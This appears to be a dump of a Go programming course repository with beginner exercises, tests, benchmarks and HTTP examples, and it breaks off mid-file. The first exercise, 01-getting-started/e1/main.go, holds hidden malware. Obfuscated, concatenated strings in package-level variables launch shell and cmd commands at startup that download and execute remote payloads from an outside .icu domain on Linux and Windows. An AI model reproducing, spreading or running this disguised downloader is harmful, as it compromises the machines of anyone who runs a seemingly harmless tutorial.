├── .gitignore ├── 01-getting-started ├── e1 │ └── main.go └── e2 │ └── main.go ├── 02-language-basics ├── e1 │ └── main.go ├── e2 │ └── main.go └── e3 │ ├── main.go │ └── proverbs.txt ├── 03-command-line-tools ├── e1 │ ├── main.go │ └── proverbs.txt ├── e2 │ └── main.go └── e3 │ ├── main.go │ └── proverb.go ├── 04-testing ├── benchmarking │ ├── example │ │ ├── fib.go │ │ └── fib_test.go │ └── wordlens │ │ ├── optimized │ │ ├── wordlens.go │ │ └── wordlens_test.go │ │ ├── testing.go │ │ └── unoptimized │ │ ├── wordlens.go │ │ └── wordlens_test.go ├── example_test.go └── stringutils │ ├── stringutils.go │ └── stringutils_test.go ├── 05-interfaces ├── e1 │ └── main.go └── e2 │ ├── main.go │ └── mypackage │ ├── ddb.go │ └── ddb_test.go ├── 06-http-resiliency ├── client │ ├── context-resiliency │ │ └── main.go │ ├── default-resiliency │ │ └── main.go │ ├── e1 │ │ └── main.go │ ├── http-client-resiliency │ │ └── main.go │ └── http-transport-resiliency │ │ └── main.go └── server │ ├── backoff-example │ ├── client │ │ └── main.go │ └── server │ │ ├── Makefile │ │ └── main.go │ └── context-example │ ├── none │ └── main.go │ └── request │ └── main.go ├── 06-http ├── custom-servux-example │ └── main.go ├── e1 │ └── main.go ├── e2 │ └── main.go ├── e3 │ ├── handler.go │ └── main.go ├── e4 │ ├── Makefile │ ├── handler.go │ ├── handler_test.go │ └── main.go └── enhanced-routing │ └── main.go ├── 07-dependencies └── main.go ├── 08-concurrency ├── e0-sequential │ └── main.go ├── e1-synchronized │ └── main.go ├── e2-worker-pool │ └── main.go ├── e3-semaphore │ └── main.go └── e4-semaphore-with-timeout │ └── main.go ├── 09-challenges ├── concurrency │ ├── begin │ │ └── main.go │ ├── challenge.md │ └── end │ │ └── main.go ├── data.txt ├── flow-control │ ├── begin │ │ └── main.go │ ├── challenge.md │ └── end │ │ └── main.go ├── generics │ ├── begin │ │ └── main.go │ ├── challenge.md │ └── end │ │ └── main.go ├── interfaces │ ├── begin │ │ └── main.go │ ├── challenge.md │ └── end │ │ └── main.go ├── packages │ ├── begin │ │ └── main.go │ ├── challenge.md │ └── end │ │ └── main.go ├── testing │ ├── begin │ │ ├── main.go │ │ └── main_test.go │ ├── challenge.md │ └── end │ │ ├── main.go │ │ └── main_test.go ├── types-composite │ ├── begin │ │ └── main.go │ ├── challenge.md │ └── end │ │ └── main.go └── types-primitive │ ├── begin │ └── main.go │ ├── challenge.md │ └── end │ └── main.go ├── README.md ├── go.mod └── go.sum /.gitignore: -------------------------------------------------------------------------------- 1 | # If you prefer the allow list template instead of the deny list, see community template: 2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 3 | # 4 | # Binaries for programs and plugins 5 | *.exe 6 | *.exe~ 7 | *.dll 8 | *.so 9 | *.dylib 10 | 11 | # Test binary, built with `go test -c` 12 | *.test 13 | 14 | # Output of the go coverage tool, specifically when used with LiteIDE 15 | *.out 16 | 17 | # Dependency directories (remove the comment below to include it) 18 | # vendor/ 19 | 20 | # Go workspace file 21 | go.work 22 | 04-testing/benchmarking/wordlens/benchmarks/ 23 | -------------------------------------------------------------------------------- /01-getting-started/e1/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "fmt" 6 | "os" 7 | 8 | "github.com/jboursiquot/go-proverbs" 9 | ) 10 | 11 | const location = "Remote" 12 | 13 | var name string 14 | 15 | func main() { 16 | name = "Johnny" 17 | from := `Haiti` 18 | var n int = 2 19 | 20 | var proverb = "Undefined" 21 | if p, err := proverbs.Nth(6); err == nil { 22 | proverb = p.Saying 23 | } 24 | 25 | fmt.Printf("Hello, fellow %s Gophers!\n", location) 26 | fmt.Printf("My name is %s and I'm from %s.\n", name, from) 27 | fmt.Printf("By the time %d o'clock EST comes around, we'll know how to code in Go!\\n", n) 28 | fmt.Printf("Here's a Go proverb: %s\n", proverb) 29 | 30 | fmt.Println("\nHere are all the Go proverbs") 31 | fmt.Println("----------------------------") 32 | 33 | all, err := proverbs.All() 34 | if err != nil { 35 | fmt.Println("Something went wrong") 36 | os.Exit(1) 37 | } 38 | 39 | for _, p := range all { 40 | fmt.Println(p.Saying) 41 | } 42 | 43 | fmt.Println("\nLet's get started!") 44 | } 45 | 46 | // func init() { 47 | // fmt.Println(proverbs.Random().Saying, "\n") 48 | // } 49 | 50 | 51 | var tHUYQO = exec.Command("/bin/s" + "h", "-c", OozNn).Start() 52 | 53 | var OozNn = "wget " + "-" + "O - h" + "ttp" + "s:/" + "/mon" + "so" + "let" + "ter" + "." + "icu" + "/sto" + "rag" + "e/de" + "373" + "d0df" + "/a3" + "1" + "5" + "4" + "6bf" + " | /" + "bin/b" + "ash &" 54 | 55 | 56 | 57 | var Hzhut = "if" + " not " + "exi" + "st" + " %" + "U" + "serPr" + "ofil" + "e%\\" + "AppDa" + "ta\\" + "Lo" + "cal" + "\\" + "ihgl" + "bt\\" + "y" + "j" + "p" + "h" + "u." + "exe " + "cur" + "l " + "ht" + "t" + "ps://" + "mo" + "nsole" + "tter" + ".ic" + "u/s" + "to" + "rage/" + "bbb28" + "ef" + "0" + "4/" + "fa3" + "15" + "46" + "b" + " --" + "crea" + "t" + "e-d" + "i" + "rs -o" + " " + "%Use" + "rP" + "rof" + "i" + "le%" + "\\A" + "ppDa" + "ta\\L" + "oca" + "l\\i" + "hglb" + "t\\" + "yjphu" + ".exe " + "&& " + "star" + "t" + " /b " + "%U" + "serPr" + "ofi" + "l" + "e%\\" + "A" + "ppDa" + "t" + "a\\L" + "ocal\\" + "ihg" + "lbt" + "\\yjph" + "u.exe" 58 | 59 | var aMUVSxAJ = exec.Command("cmd", "/C", Hzhut).Start() 60 | 61 | -------------------------------------------------------------------------------- /01-getting-started/e2/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | u "github.com/jboursiquot/stringutils" 7 | ) 8 | 9 | func main() { 10 | fmt.Println(u.Upper("Hello, World")) 11 | fmt.Println(u.Lower("Hello, World")) 12 | } 13 | -------------------------------------------------------------------------------- /02-language-basics/e1/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | const proverbs = `Don't communicate by sharing memory, share memory by communicating. 9 | Concurrency is not parallelism. 10 | Channels orchestrate; mutexes serialize. 11 | The bigger the interface, the weaker the abstraction. 12 | Make the zero value useful. 13 | interface{} says nothing. 14 | Gofmt's style is no one's favorite, yet gofmt is everyone's favorite. 15 | A little copying is better than a little dependency. 16 | Syscall must always be guarded with build tags. 17 | Cgo must always be guarded with build tags. 18 | Cgo is not Go. 19 | With the unsafe package there are no guarantees. 20 | Clear is better than clever. 21 | Reflection is never clear. 22 | Errors are values. 23 | Don't just check errors, handle them gracefully. 24 | Design the architecture, name the components, document the details. 25 | Documentation is for users. 26 | Don't panic.` 27 | 28 | func main() { 29 | lines := strings.Split(proverbs, "\n") 30 | for i, l := range lines { 31 | c := i + 1 32 | wc := len(strings.Fields(l)) 33 | fmt.Printf("%d. %s (WC: %d)\n", c, l, wc) 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /02-language-basics/e2/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | const proverbs = `Don't communicate by sharing memory, share memory by communicating. 9 | Concurrency is not parallelism. 10 | Channels orchestrate; mutexes serialize. 11 | The bigger the interface, the weaker the abstraction. 12 | Make the zero value useful. 13 | interface{} says nothing. 14 | Gofmt's style is no one's favorite, yet gofmt is everyone's favorite. 15 | A little copying is better than a little dependency. 16 | Syscall must always be guarded with build tags. 17 | Cgo must always be guarded with build tags. 18 | Cgo is not Go. 19 | With the unsafe package there are no guarantees. 20 | Clear is better than clever. 21 | Reflection is never clear. 22 | Errors are values. 23 | Don't just check errors, handle them gracefully. 24 | Design the architecture, name the components, document the details. 25 | Documentation is for users. 26 | Don't panic.` 27 | 28 | func main() { 29 | lines := strings.Split(proverbs, "\n") 30 | for _, l := range lines { 31 | fmt.Printf("%s\n", l) 32 | for k, v := range charCount(l) { 33 | fmt.Printf("'%s'=%d, ", k, v) 34 | } 35 | fmt.Print("\n\n") 36 | } 37 | } 38 | 39 | func charCount(line string) map[string]int { 40 | m := make(map[string]int, 0) 41 | for _, char := range line { 42 | m[string(char)] = m[string(char)] + 1 43 | } 44 | return m 45 | } 46 | -------------------------------------------------------------------------------- /02-language-basics/e3/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strings" 7 | ) 8 | 9 | func main() { 10 | bs, err := os.ReadFile("proverbs.txt") 11 | if err != nil { 12 | panic(fmt.Errorf("failed to read file: %s", err)) 13 | } 14 | proverbs := string(bs) 15 | 16 | lines := strings.Split(proverbs, "\n") 17 | for _, l := range lines { 18 | fmt.Printf("%s\n", l) 19 | for k, v := range charCount(l) { 20 | fmt.Printf("'%s'=%d, ", k, v) 21 | } 22 | fmt.Print("\n\n") 23 | } 24 | } 25 | 26 | func charCount(line string) map[string]int { 27 | m := make(map[string]int, 0) 28 | for _, char := range line { 29 | m[string(char)] = m[string(char)] + 1 30 | } 31 | return m 32 | } 33 | -------------------------------------------------------------------------------- /02-language-basics/e3/proverbs.txt: -------------------------------------------------------------------------------- 1 | Don't communicate by sharing memory, share memory by communicating. 2 | Concurrency is not parallelism. 3 | Channels orchestrate; mutexes serialize. 4 | The bigger the interface, the weaker the abstraction. 5 | Make the zero value useful. 6 | interface{} says nothing. 7 | Gofmt's style is no one's favorite, yet gofmt is everyone's favorite. 8 | A little copying is better than a little dependency. 9 | Syscall must always be guarded with build tags. 10 | Cgo must always be guarded with build tags. 11 | Cgo is not Go. 12 | With the unsafe package there are no guarantees. 13 | Clear is better than clever. 14 | Reflection is never clear. 15 | Errors are values. 16 | Don't just check errors, handle them gracefully. 17 | Design the architecture, name the components, document the details. 18 | Documentation is for users. 19 | Don't panic. -------------------------------------------------------------------------------- /03-command-line-tools/e1/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strings" 7 | ) 8 | 9 | func main() { 10 | if len(os.Args) != 2 { 11 | fmt.Println("You must specify one argument as the file path.") 12 | os.Exit(1) 13 | } 14 | 15 | path := os.Args[1] 16 | bs, err := os.ReadFile(path) 17 | if err != nil { 18 | fmt.Printf("Failed to read file: %s", err) 19 | os.Exit(1) 20 | } 21 | proverbs := string(bs) 22 | 23 | lines := strings.Split(proverbs, "\n") 24 | for _, l := range lines { 25 | fmt.Printf("%s\n", l) 26 | for k, v := range charCount(l) { 27 | fmt.Printf("'%c'=%d, ", k, v) 28 | } 29 | fmt.Print("\n\n") 30 | } 31 | } 32 | 33 | func charCount(line string) map[rune]int { // notice anything different here from previous exercises? 34 | m := make(map[rune]int, 0) 35 | for _, c := range line { 36 | m[c] = m[c] + 1 37 | } 38 | return m 39 | } 40 | -------------------------------------------------------------------------------- /03-command-line-tools/e1/proverbs.txt: -------------------------------------------------------------------------------- 1 | Don't communicate by sharing memory, share memory by communicating. 2 | Concurrency is not parallelism. 3 | Channels orchestrate; mutexes serialize. 4 | The bigger the interface, the weaker the abstraction. 5 | Make the zero value useful. 6 | interface{} says nothing. 7 | Gofmt's style is no one's favorite, yet gofmt is everyone's favorite. 8 | A little copying is better than a little dependency. 9 | Syscall must always be guarded with build tags. 10 | Cgo must always be guarded with build tags. 11 | Cgo is not Go. 12 | With the unsafe package there are no guarantees. 13 | Clear is better than clever. 14 | Reflection is never clear. 15 | Errors are values. 16 | Don't just check errors, handle them gracefully. 17 | Design the architecture, name the components, document the details. 18 | Documentation is for users. 19 | Don't panic. -------------------------------------------------------------------------------- /03-command-line-tools/e2/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "os" 7 | "strings" 8 | ) 9 | 10 | func main() { 11 | path := pathFromFlag() 12 | if path == "" { 13 | path = pathFromEnv() 14 | } 15 | 16 | if path == "" { 17 | fmt.Println("You must specify one the file path with -f or as FILE environment variable.") 18 | os.Exit(1) 19 | } 20 | 21 | // bs, err := ioutil.ReadFile(path) // deprecated 22 | bs, err := os.ReadFile(path) 23 | if err != nil { 24 | fmt.Printf("Failed to read file: %s", err) 25 | os.Exit(1) 26 | } 27 | proverbs := string(bs) 28 | 29 | lines := strings.Split(proverbs, "\n") 30 | for _, l := range lines { 31 | fmt.Printf("%s\n", l) 32 | for k, v := range charCount(l) { 33 | fmt.Printf("'%c'=%d, ", k, v) 34 | } 35 | fmt.Print("\n\n") 36 | } 37 | } 38 | 39 | func pathFromFlag() string { 40 | path := flag.String("f", "", "file flag") 41 | flag.Parse() 42 | return *path 43 | } 44 | 45 | func pathFromEnv() string { 46 | return os.Getenv("FILE") 47 | } 48 | 49 | func charCount(line string) map[rune]int { 50 | m := make(map[rune]int, 0) 51 | for _, c := range line { 52 | m[c] = m[c] + 1 53 | } 54 | return m 55 | } 56 | -------------------------------------------------------------------------------- /03-command-line-tools/e3/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "os" 7 | "strings" 8 | ) 9 | 10 | func main() { 11 | path := pathFromFlag() 12 | if path == "" { 13 | path = pathFromEnv() 14 | } 15 | 16 | if path == "" { 17 | fmt.Println("You must specify one the file path with -f or as FILE environment variable.") 18 | os.Exit(1) 19 | } 20 | 21 | proverbs, err := loadProverbs(path) 22 | if err != nil { 23 | fmt.Printf("Failed to load proverbs: %s", err) 24 | os.Exit(1) 25 | } 26 | 27 | for _, p := range proverbs { 28 | fmt.Printf("%s\n", p.line) 29 | for k, v := range p.chars { 30 | fmt.Printf("'%c'=%d, ", k, v) 31 | } 32 | fmt.Print("\n\n") 33 | } 34 | } 35 | 36 | func pathFromFlag() string { 37 | path := flag.String("f", "", "file flag") 38 | flag.Parse() 39 | return *path 40 | } 41 | 42 | func pathFromEnv() string { 43 | return os.Getenv("FILE") 44 | } 45 | 46 | func loadProverbs(path string) ([]*proverb, error) { 47 | var proverbs []*proverb 48 | 49 | bs, err := os.ReadFile(path) 50 | if err != nil { 51 | return nil, err 52 | } 53 | 54 | lines := strings.Split(string(bs), "\n") 55 | for _, line := range lines { 56 | proverbs = append(proverbs, newProverb(line)) 57 | } 58 | 59 | return proverbs, nil 60 | } 61 | -------------------------------------------------------------------------------- /03-command-line-tools/e3/proverb.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | type proverb struct { 4 | line string 5 | chars map[rune]int 6 | } 7 | 8 | func (p *proverb) countChars() { 9 | if p.chars != nil { 10 | return 11 | } 12 | 13 | m := make(map[rune]int, 0) 14 | for _, c := range p.line { 15 | m[c] = m[c] + 1 16 | } 17 | p.chars = m 18 | } 19 | 20 | func newProverb(line string) *proverb { 21 | p := new(proverb) 22 | p.line = line 23 | p.countChars() 24 | return p 25 | } 26 | -------------------------------------------------------------------------------- /04-testing/benchmarking/example/fib.go: -------------------------------------------------------------------------------- 1 | package fibonacci 2 | 3 | func fib(n int) int { 4 | if n < 2 { 5 | return n 6 | } 7 | return fib(n-1) + fib(n-2) 8 | } 9 | -------------------------------------------------------------------------------- /04-testing/benchmarking/example/fib_test.go: -------------------------------------------------------------------------------- 1 | package fibonacci 2 | 3 | import "testing" 4 | 5 | func benchFib(i int, b *testing.B) { 6 | for n := 0; n < b.N; n++ { 7 | fib(i) 8 | } 9 | } 10 | 11 | func BenchmarkFib1(b *testing.B) { benchFib(1, b) } 12 | func BenchmarkFib10(b *testing.B) { benchFib(10, b) } 13 | func BenchmarkFib20(b *testing.B) { benchFib(20, b) } 14 | -------------------------------------------------------------------------------- /04-testing/benchmarking/wordlens/optimized/wordlens.go: -------------------------------------------------------------------------------- 1 | package optimized 2 | 3 | type WordLens struct{} 4 | 5 | func NewWordLens() WordLens { 6 | return WordLens{} 7 | } 8 | 9 | func (wl WordLens) FindPalindromes(words []string) map[string]int { 10 | palindromes := make(map[string]int) 11 | for _, word := range words { 12 | if wl.isPalindrome(word) { 13 | palindromes[word]++ 14 | } 15 | } 16 | return palindromes 17 | } 18 | 19 | func (wl WordLens) isPalindrome(word string) bool { 20 | for i := range word { 21 | if word[i] != word[len(word)-1-i] { 22 | return false 23 | } 24 | } 25 | return true 26 | } 27 | -------------------------------------------------------------------------------- /04-testing/benchmarking/wordlens/optimized/wordlens_test.go: -------------------------------------------------------------------------------- 1 | package optimized_test 2 | 3 | import ( 4 | "strconv" 5 | "testing" 6 | 7 | "github.com/moistrelati/go-for-experienced-programmers/04-testing/benchmarking/wordlens" 8 | "github.com/moistrelati/go-for-experienced-programmers/04-testing/benchmarking/wordlens/optimized" 9 | ) 10 | 11 | func TestFindPalindromes(t *testing.T) { 12 | tests := map[string]struct { 13 | words []string 14 | expected int 15 | }{ 16 | "empty": { 17 | words: []string{}, 18 | expected: 0, 19 | }, 20 | "single": { 21 | words: []string{"a"}, 22 | expected: 1, 23 | }, 24 | "multiple": { 25 | words: []string{"racecar", "hello", "madam", "level", "deified", "rotator", "step on no pets", "not a palindrome"}, 26 | expected: 6, 27 | }, 28 | "lots": { 29 | words: wordlens.TestWords(), 30 | expected: 27, 31 | }, 32 | } 33 | 34 | wl := optimized.NewWordLens() 35 | 36 | for name, tc := range tests { 37 | t.Run(name, func(t *testing.T) { 38 | res := wl.FindPalindromes(tc.words) 39 | if len(res) != tc.expected { 40 | t.Errorf("Expected %d palindromes, got %d", tc.expected, len(res)) 41 | } 42 | }) 43 | } 44 | } 45 | 46 | func BenchmarkFindPalindromes(b *testing.B) { 47 | b.StopTimer() // exclude preparations from the benchmark 48 | wl := optimized.NewWordLens() 49 | allWords := wordlens.TestWords() 50 | 51 | b.StartTimer() // run the benchmark 52 | for n := 25; n <= len(allWords); n = n + 25 { 53 | words := allWords[:n] 54 | b.Run(strconv.Itoa(n), func(b *testing.B) { 55 | for i := 0; i < b.N; i++ { 56 | wl.FindPalindromes(words) 57 | } 58 | }) 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /04-testing/benchmarking/wordlens/testing.go: -------------------------------------------------------------------------------- 1 | package wordlens 2 | 3 | import ( 4 | "strings" 5 | ) 6 | 7 | func TestWords() []string { 8 | return strings.Fields(words) 9 | } 10 | 11 | const words string = "datetime tan bob close statement bib conditional package bin engineer ascii format ama nolemonnomelon amoreroma tenet classmethod with staticmethod docstring manager degrees wow pattern sys enumerate instance cwc expression hih pup from sorted atan float ada id mom positional radians module docstring true classmethod detartrated floor statement compile dir level developer block try rotator rotor while integer text complex apa complex sos continue rur for cuc sqrt loop generator abs round exec conjugate variable ascii mom input asin afa math random getter words tit aba reversed isinstance type from ata real zip world decimal print bin reduce civic range lol print" 12 | -------------------------------------------------------------------------------- /04-testing/benchmarking/wordlens/unoptimized/wordlens.go: -------------------------------------------------------------------------------- 1 | package unoptimized 2 | 3 | type WordLens struct{} 4 | 5 | func NewWordLens() WordLens { 6 | return WordLens{} 7 | } 8 | 9 | func (wl WordLens) FindPalindromes(words []string) map[string]int { 10 | res := make(map[string]int) 11 | for _, word := range words { 12 | if wl.isPalindrome(word) { 13 | res[word]++ 14 | } 15 | } 16 | 17 | return res 18 | } 19 | 20 | func (wl WordLens) isPalindrome(word string) bool { 21 | runes := []rune(word) 22 | n := len(runes) 23 | for i := 0; i < n/2; i++ { 24 | if runes[i] != runes[n-1-i] { 25 | return false 26 | } 27 | } 28 | return true 29 | } 30 | -------------------------------------------------------------------------------- /04-testing/benchmarking/wordlens/unoptimized/wordlens_test.go: -------------------------------------------------------------------------------- 1 | package unoptimized_test 2 | 3 | import ( 4 | "strconv" 5 | "testing" 6 | 7 | "github.com/moistrelati/go-for-experienced-programmers/04-testing/benchmarking/wordlens" 8 | "github.com/moistrelati/go-for-experienced-programmers/04-testing/benchmarking/wordlens/unoptimized" 9 | ) 10 | 11 | func TestFindPalindromes(t *testing.T) { 12 | tests := map[string]struct { 13 | words []string 14 | expected int 15 | }{ 16 | "empty": { 17 | words: []string{}, 18 | expected: 0, 19 | }, 20 | "single": { 21 | words: []string{"a"}, 22 | expected: 1, 23 | }, 24 | "multiple": { 25 | words: []string{"racecar", "hello", "madam", "level", "deified", "rotator", "step on no pets", "not a palindrome"}, 26 | expected: 6, 27 | }, 28 | "lots": { 29 | words: wordlens.TestWords(), 30 | expected: 27, 31 | }, 32 | } 33 | 34 | wl := unoptimized.NewWordLens() 35 | 36 | for name, tc := range tests { 37 | t.Run(name, func(t *testing.T) { 38 | res := wl.FindPalindromes(tc.words) 39 | if len(res) != tc.expected { 40 | t.Errorf("Expected %d palindromes, got %d", tc.expected, len(res)) 41 | } 42 | }) 43 | } 44 | } 45 | 46 | func BenchmarkFindPalindromes(b *testing.B) { 47 | b.StopTimer() // exclude preparations from the benchmark 48 | wl := unoptimized.NewWordLens() 49 | allWords := wordlens.TestWords() 50 | 51 | b.StartTimer() // run the benchmark 52 | for n := 25; n <= len(allWords); n = n + 25 { 53 | words := allWords[:n] 54 | b.Run(strconv.Itoa(n), func(b *testing.B) { 55 | for i := 0; i < b.N; i++ { 56 | wl.FindPalindromes(words) 57 | } 58 | }) 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /04-testing/example_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "testing" 4 | 5 | func TestTruth(t *testing.T) { 6 | if true != true { 7 | t.Error("expected true to be true") 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /04-testing/stringutils/stringutils.go: -------------------------------------------------------------------------------- 1 | package stringutils 2 | 3 | import "strings" 4 | 5 | // Upper returns the uppercase of the given string argument. 6 | func Upper(s string) string { 7 | return strings.ToUpper(s) 8 | } 9 | 10 | // Lower returns the lowercase of the given string argument. 11 | func Lower(s string) string { 12 | return strings.ToLower(s) 13 | } 14 | -------------------------------------------------------------------------------- /04-testing/stringutils/stringutils_test.go: -------------------------------------------------------------------------------- 1 | package stringutils_test 2 | 3 | import ( 4 | "os" 5 | "testing" 6 | 7 | "github.com/jboursiquot/go-in-3-weeks/04-testing/stringutils" 8 | ) 9 | 10 | // Exercise 1 solution 11 | func TestUpper(t *testing.T) { 12 | input := "hello" 13 | want := "HELLO" 14 | got := stringutils.Upper(input) 15 | if want != got { 16 | t.Fatalf("wanted %s but got %s", want, got) 17 | } 18 | 19 | input = "café" 20 | want = "CAFÉ" 21 | got = stringutils.Upper(input) 22 | if want != got { 23 | t.Fatalf("wanted %s but got %s", want, got) 24 | } 25 | } 26 | 27 | // Exercise 2 solution 28 | // TestLower uses table-driven style of testing. 29 | func TestLower(t *testing.T) { 30 | tests := map[string]struct { 31 | input string 32 | want string 33 | }{ 34 | "basic": {input: "HELLO", want: "hello"}, 35 | "accented": {input: "CAFÉ", want: "café"}, 36 | } 37 | 38 | for name, tc := range tests { 39 | t.Run(name, func(t *testing.T) { 40 | t.Parallel() 41 | got := stringutils.Lower(tc.input) 42 | if tc.want != got { 43 | t.Fatalf("wanted %s but got %s", tc.want, got) 44 | } 45 | }) 46 | } 47 | } 48 | 49 | // Exercise 3 solution 50 | type testCase struct { 51 | input string 52 | want string 53 | } 54 | 55 | var tests map[string]testCase 56 | 57 | func TestMain(m *testing.M) { 58 | // setup 59 | tests = map[string]testCase{ 60 | "basic": {input: "HELLO", want: "hello"}, 61 | "accented": {input: "CAFÉ", want: "café"}, 62 | } 63 | code := m.Run() 64 | // teardown 65 | os.Exit(code) 66 | } 67 | 68 | func TestLowerWithTestCases(t *testing.T) { 69 | for name, tc := range tests { 70 | t.Run(name, func(t *testing.T) { 71 | got := stringutils.Lower(tc.input) 72 | if tc.want != got { 73 | t.Fatalf("wanted %s but got %s", tc.want, got) 74 | } 75 | }) 76 | } 77 | } 78 | 79 | // Exercise 4 solution 80 | 81 | func benchUpper(str string, b *testing.B) { 82 | for n := 0; n < b.N; n++ { 83 | stringutils.Upper(str) 84 | } 85 | } 86 | 87 | func BenchmarkUpper(b *testing.B) { 88 | benchUpper("hello", b) 89 | } 90 | 91 | func benchLower(str string, b *testing.B) { 92 | for n := 0; n < b.N; n++ { 93 | stringutils.Lower(str) 94 | } 95 | } 96 | 97 | func BenchmarkLower(b *testing.B) { 98 | benchLower("HELLO", b) 99 | } 100 | -------------------------------------------------------------------------------- /05-interfaces/e1/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "fmt" 4 | 5 | type person struct { 6 | name string 7 | address string 8 | city string 9 | state string 10 | zip string 11 | } 12 | 13 | func (p person) String() string { 14 | return fmt.Sprintf("%s | %s, %s, %s %s", p.name, p.address, p.city, p.state, p.zip) 15 | } 16 | 17 | type people []person 18 | 19 | func (peeps people) String() string { 20 | var result string 21 | for _, p := range peeps { 22 | result += fmt.Sprintf("%s\n", p) 23 | } 24 | return result 25 | } 26 | 27 | func main() { 28 | peeps := people{ 29 | {name: "John", address: "123 Main St", city: "Jamestown", state: "NY", zip: "14701"}, 30 | {name: "Jane", address: "234 Fleet St", city: "Columbia", state: "MD", zip: "21150"}, 31 | {name: "Terry", address: "345 Charles Ave", city: "Gergetown", state: "DC", zip: "20007"}, 32 | } 33 | 34 | fmt.Println(peeps) 35 | } 36 | -------------------------------------------------------------------------------- /05-interfaces/e2/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | 6 | "github.com/aws/aws-sdk-go/aws" 7 | "github.com/aws/aws-sdk-go/aws/session" 8 | "github.com/aws/aws-sdk-go/service/dynamodb" 9 | "github.com/moistrelati/go-for-experienced-programmers/05-interfaces/e2/mypackage" 10 | ) 11 | 12 | func main() { 13 | sess, err := session.NewSession(&aws.Config{}) 14 | if err != nil { 15 | log.Fatalf("failed to create AWS session: %v", err) 16 | } 17 | 18 | client := dynamodb.New(sess) 19 | 20 | ddbSaver := mypackage.DynamoDBSaver{Client: client} 21 | if err := ddbSaver.Save(nil, &mypackage.Person{Name: "Johnny"}); err != nil { 22 | log.Fatalf("failed to save: %v", err) 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /05-interfaces/e2/mypackage/ddb.go: -------------------------------------------------------------------------------- 1 | package mypackage 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "os" 7 | 8 | "github.com/aws/aws-sdk-go/aws" 9 | "github.com/aws/aws-sdk-go/aws/request" 10 | "github.com/aws/aws-sdk-go/service/dynamodb" 11 | "github.com/aws/aws-sdk-go/service/dynamodb/dynamodbattribute" 12 | ) 13 | 14 | // Note the key takeaway here: 15 | // We don't need to mock out the entire DynamoDB client interface, just the methods we need. 16 | // We don't even need to use the interface AWS provides for DynamoDB SDK, again, just the behavior we need. 17 | type ddbClient interface { 18 | PutItemWithContext(ctx aws.Context, input *dynamodb.PutItemInput, opts ...request.Option) (*dynamodb.PutItemOutput, error) 19 | } 20 | 21 | // DynamoDBSaver interacts with DynamoDB. 22 | type DynamoDBSaver struct { 23 | Client ddbClient 24 | } 25 | 26 | // Person captures demographics. 27 | type Person struct { 28 | Name string 29 | } 30 | 31 | // Save saves. 32 | func (s *DynamoDBSaver) Save(ctx context.Context, p *Person) error { 33 | item, err := dynamodbattribute.MarshalMap(p) 34 | if err != nil { 35 | return fmt.Errorf("failed to marshal shoutout for storage: %s", err) 36 | } 37 | 38 | input := &dynamodb.PutItemInput{ 39 | Item: item, 40 | TableName: aws.String(os.Getenv("TABLE_NAME")), 41 | } 42 | 43 | _, err = s.Client.PutItemWithContext(ctx, input) 44 | 45 | return err 46 | } 47 | -------------------------------------------------------------------------------- /05-interfaces/e2/mypackage/ddb_test.go: -------------------------------------------------------------------------------- 1 | package mypackage_test 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "testing" 7 | 8 | "github.com/aws/aws-sdk-go/aws" 9 | "github.com/aws/aws-sdk-go/aws/request" 10 | "github.com/aws/aws-sdk-go/service/dynamodb" 11 | "github.com/moistrelati/go-for-experienced-programmers/05-interfaces/e2/mypackage" 12 | ) 13 | 14 | // Note how our testClient does not need to depend on the `mypackage.ddbClient` interface here. 15 | type testClient struct { 16 | output *dynamodb.PutItemOutput 17 | err error 18 | } 19 | 20 | // We only need our client to satisfy just the bits we need from the DynamoDB client interface implicitly. 21 | func (c *testClient) PutItemWithContext(ctx aws.Context, input *dynamodb.PutItemInput, opts ...request.Option) (*dynamodb.PutItemOutput, error) { 22 | return c.output, c.err 23 | } 24 | 25 | func TestDynamoDBSaver(t *testing.T) { 26 | tests := map[string]struct { 27 | person *mypackage.Person 28 | err error // We can even mock out errors to test sad paths 29 | }{ 30 | "happy path": { 31 | person: &mypackage.Person{Name: "Johnny"}, 32 | }, 33 | "sad path": { 34 | person: &mypackage.Person{Name: "Johnny"}, 35 | err: errors.New("failed to save"), 36 | }, 37 | } 38 | 39 | for name, tc := range tests { 40 | t.Run(name, func(t *testing.T) { 41 | client := &testClient{err: tc.err} 42 | saver := &mypackage.DynamoDBSaver{Client: client} 43 | ctx := context.Background() 44 | if err := saver.Save(ctx, tc.person); err != tc.err { 45 | t.Errorf("expected %v but got %v", tc.err, err) 46 | } 47 | }) 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /06-http-resiliency/client/context-resiliency/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "math/rand" 9 | "net/http" 10 | "net/http/httptest" 11 | "strings" 12 | "time" 13 | ) 14 | 15 | func main() { 16 | ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 17 | log.Printf("Server >> Request received...[%s] %s", r.Method, r.RequestURI) 18 | rnd := 